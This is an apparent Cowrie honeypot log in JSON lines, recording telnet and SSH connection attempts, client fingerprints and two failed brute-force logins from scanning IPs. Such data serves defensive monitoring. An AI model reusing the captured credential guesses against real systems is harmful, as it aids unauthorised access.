{"eventid":"cowrie.session.closed","duration":30.860435485839844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:19.997817Z","src_ip":"46.4.133.15","session":"8cd5107810f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17999505996704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:20.007401Z","src_ip":"46.4.133.15","session":"892c6a2f2d10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.281956434249878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:20.424026Z","src_ip":"46.4.133.15","session":"e4759e9009bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561315774917603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:20.969397Z","src_ip":"46.4.133.15","session":"cc8385cb597c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820687294006348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:20.979595Z","src_ip":"46.4.133.15","session":"6a7d2385c512","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78139877319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:21.956334Z","src_ip":"46.4.133.15","session":"074be6ce4967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72247838973999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:22.060191Z","src_ip":"46.4.133.15","session":"e26a7a2cd309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.176695823669434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:22.959225Z","src_ip":"46.4.133.15","session":"bf1eda890c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81782293319702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:22.973823Z","src_ip":"46.4.133.15","session":"9a898c32ca7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783372163772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:22.978853Z","src_ip":"46.4.133.15","session":"7bfe9291feb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655271530151367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:23.952250Z","src_ip":"46.4.133.15","session":"c53a3dd3f933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36284303665161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:24.146615Z","src_ip":"46.4.133.15","session":"865143473b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90654492378235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:24.969831Z","src_ip":"46.4.133.15","session":"8cda500630dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60930,"dst_ip":"10.17.0.5","dst_port":23,"session":"f06339165986","protocol":"telnet","message":"New connection: 46.4.133.15:60930 (10.17.0.5:23) [session: f06339165986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:25.178072Z"}
{"eventid":"cowrie.session.closed","duration":30.54612112045288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:25.600364Z","src_ip":"203.1.9.18","session":"3b09f127830d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":50136,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70d17f461c9","protocol":"telnet","message":"New connection: 203.1.9.18:50136 (10.17.0.5:23) [session: b70d17f461c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:25.653128Z"}
{"eventid":"cowrie.session.closed","duration":30.76377558708191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:26.012599Z","src_ip":"46.4.133.15","session":"69e4ff22e0e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":36870,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2113f854e76","protocol":"telnet","message":"New connection: 46.4.133.15:36870 (10.17.0.5:23) [session: a2113f854e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:26.219106Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40330,"dst_ip":"10.17.0.5","dst_port":23,"session":"312b3717e75e","protocol":"telnet","message":"New connection: 46.4.133.15:40330 (10.17.0.5:23) [session: 312b3717e75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:27.149792Z"}
{"eventid":"cowrie.session.closed","duration":30.833802223205566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:27.994916Z","src_ip":"46.4.133.15","session":"a694944aeb88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18386936187744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:28.003871Z","src_ip":"46.4.133.15","session":"2ef9347dcd9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910154342651367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:28.053699Z","src_ip":"46.4.133.15","session":"ca31340ec1a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.558186292648315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:28.157959Z","src_ip":"46.4.133.15","session":"344e8d3ed7dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48014,"dst_ip":"10.17.0.5","dst_port":23,"session":"2469fbca3b4f","protocol":"telnet","message":"New connection: 46.4.133.15:48014 (10.17.0.5:23) [session: 2469fbca3b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:29.147430Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":48230,"dst_ip":"10.17.0.5","dst_port":23,"session":"9893253ca2fe","protocol":"telnet","message":"New connection: 46.4.133.15:48230 (10.17.0.5:23) [session: 9893253ca2fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:29.192233Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":45764,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cfc5c80adeb","protocol":"telnet","message":"New connection: 185.116.212.16:45764 (10.17.0.5:23) [session: 8cfc5c80adeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:29.474593Z"}
{"eventid":"cowrie.session.closed","duration":30.91635799407959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:29.612454Z","src_ip":"203.1.9.18","session":"671dd7f98473","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50398,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad0cf8507f2","protocol":"telnet","message":"New connection: 46.4.133.15:50398 (10.17.0.5:23) [session: 5ad0cf8507f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:29.797885Z"}
{"eventid":"cowrie.session.closed","duration":30.837355852127075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:30.546999Z","src_ip":"203.1.9.18","session":"60d123165c04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535677194595337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:30.939176Z","src_ip":"46.4.133.15","session":"71f7eef759d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76968741416931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:30.984721Z","src_ip":"46.4.133.15","session":"9f7dc878573c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979729175567627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:31.108534Z","src_ip":"46.4.133.15","session":"ac4f15e48ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":55340,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e9feb7b65b","protocol":"telnet","message":"New connection: 46.4.133.15:55340 (10.17.0.5:23) [session: f6e9feb7b65b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:31.143853Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":55342,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39c1930319d","protocol":"telnet","message":"New connection: 46.4.133.15:55342 (10.17.0.5:23) [session: e39c1930319d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:31.150334Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":46595,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3432ca64b07","protocol":"telnet","message":"New connection: 185.116.212.16:46595 (10.17.0.5:23) [session: b3432ca64b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:31.220200Z"}
{"eventid":"cowrie.session.closed","duration":30.69286847114563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:31.966423Z","src_ip":"46.4.133.15","session":"aac2adcaf5fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59148,"dst_ip":"10.17.0.5","dst_port":23,"session":"1515c9feca01","protocol":"telnet","message":"New connection: 46.4.133.15:59148 (10.17.0.5:23) [session: 1515c9feca01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:32.144698Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59200,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7846a4d6c0","protocol":"telnet","message":"New connection: 46.4.133.15:59200 (10.17.0.5:23) [session: 0a7846a4d6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:32.153685Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59670,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd72ae37d5c6","protocol":"telnet","message":"New connection: 46.4.133.15:59670 (10.17.0.5:23) [session: dd72ae37d5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:32.252454Z"}
{"eventid":"cowrie.session.closed","duration":30.950238466262817,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:32.547458Z","src_ip":"203.1.9.18","session":"8b339778ce2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":47325,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e7d82d9613","protocol":"telnet","message":"New connection: 185.116.212.16:47325 (10.17.0.5:23) [session: 69e7d82d9613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:32.756715Z"}
{"eventid":"cowrie.session.closed","duration":30.597291707992554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:32.977516Z","src_ip":"46.4.133.15","session":"0d625294d0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.326542854309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.090219Z","src_ip":"46.4.133.15","session":"6c7dbcea7ba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":35072,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9adbb52ab2","protocol":"telnet","message":"New connection: 46.4.133.15:35072 (10.17.0.5:23) [session: cc9adbb52ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.294715Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":47045,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2311c65284f","protocol":"telnet","message":"New connection: 185.116.212.16:47045 (10.17.0.5:23) [session: f2311c65284f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.299538Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36304,"dst_ip":"159.203.135.109","dst_port":22,"session":"47889a492221","protocol":"ssh","message":"New connection: 159.203.92.129:36304 (159.203.135.109:22) [session: 47889a492221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.971214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.976435Z","src_ip":"159.203.92.129","session":"47889a492221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.981121Z","src_ip":"159.203.92.129","session":"47889a492221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"akflsj08","message":"login attempt [admin/akflsj08] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:33.992398Z","src_ip":"159.203.92.129","session":"47889a492221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":56318,"dst_ip":"10.17.0.5","dst_port":23,"session":"404acfb0c6ca","protocol":"telnet","message":"New connection: 187.45.176.130:56318 (10.17.0.5:23) [session: 404acfb0c6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.015349Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37842,"dst_ip":"10.17.0.5","dst_port":23,"session":"562aa15a1042","protocol":"telnet","message":"New connection: 46.4.133.15:37842 (10.17.0.5:23) [session: 562aa15a1042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.146239Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":35408,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bce802c2796","protocol":"ssh","message":"New connection: 74.91.200.154:35408 (10.17.0.5:22) [session: 5bce802c2796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.407154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.411719Z","src_ip":"74.91.200.154","session":"5bce802c2796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.631895Z","src_ip":"74.91.200.154","session":"5bce802c2796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.580169439315796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.954818Z","src_ip":"46.4.133.15","session":"1c4f4091d2db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036319494247437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.987557Z","src_ip":"46.4.133.15","session":"c9d900973eed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32170557975769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:34.995254Z","src_ip":"46.4.133.15","session":"5a88dcfe4e77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:35.002459Z","src_ip":"159.203.92.129","session":"47889a492221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"94bccccf58ef","protocol":"telnet","message":"New connection: 46.4.133.15:41930 (10.17.0.5:23) [session: 94bccccf58ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:35.152093Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"d606b3d78035","protocol":"telnet","message":"New connection: 46.4.133.15:38002 (10.17.0.5:23) [session: d606b3d78035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:35.184045Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":47978,"dst_ip":"10.17.0.5","dst_port":23,"session":"75fd44dd6536","protocol":"telnet","message":"New connection: 185.116.212.16:47978 (10.17.0.5:23) [session: 75fd44dd6536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:35.246043Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"102030","message":"login attempt [deploy/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:35.539106Z","src_ip":"74.91.200.154","session":"5bce802c2796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46188,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f817c7142b8","protocol":"telnet","message":"New connection: 46.4.133.15:46188 (10.17.0.5:23) [session: 1f817c7142b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:36.175995Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":47499,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df1b2ca38f1","protocol":"telnet","message":"New connection: 185.116.212.16:47499 (10.17.0.5:23) [session: 1df1b2ca38f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:36.214238Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":48811,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dcfb0ba5b49","protocol":"telnet","message":"New connection: 185.116.212.16:48811 (10.17.0.5:23) [session: 2dcfb0ba5b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:36.402182Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:36.765134Z","src_ip":"74.91.200.154","session":"5bce802c2796","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":49152,"dst_ip":"10.17.0.5","dst_port":23,"session":"8918992f25d9","protocol":"telnet","message":"New connection: 185.116.212.16:49152 (10.17.0.5:23) [session: 8918992f25d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:37.222893Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":48016,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b4a093a423","protocol":"telnet","message":"New connection: 185.116.212.16:48016 (10.17.0.5:23) [session: 58b4a093a423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:37.313326Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":49253,"dst_ip":"10.17.0.5","dst_port":23,"session":"59621692be23","protocol":"telnet","message":"New connection: 185.116.212.16:49253 (10.17.0.5:23) [session: 59621692be23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:37.412785Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":49485,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07b4fedd287","protocol":"telnet","message":"New connection: 185.116.212.16:49485 (10.17.0.5:23) [session: f07b4fedd287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:37.961423Z"}
{"eventid":"cowrie.session.closed","duration":31.010493755340576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:33:38.005478Z","src_ip":"46.4.133.15","session":"5869a253975e","protocol":"telnet"}
